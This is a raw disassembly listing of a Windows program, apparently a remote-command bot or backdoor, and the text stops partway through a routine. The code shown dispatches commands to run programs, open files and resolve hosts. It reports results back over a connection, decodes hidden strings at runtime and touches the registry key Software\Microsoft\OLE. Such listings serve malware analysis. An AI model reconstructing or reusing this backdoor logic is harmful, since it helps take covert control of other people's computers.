

loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448C92
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60C9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60A5
		call	sub_401D0C
		call	edi
		mov	dword_4D60C9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		call	near ptr 27F0000h
		nop
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E75
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478C6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447864
		mov	ecx, offset dword_448DA0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44790F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44793F
		mov	ecx, offset dword_448DA0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DA0
		call	sub_401E5B
		mov	byte_4D60BC, 0
		mov	byte_4E6E74, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E8A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60BC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60A5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E75
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E75
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E75
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60A5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F60
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
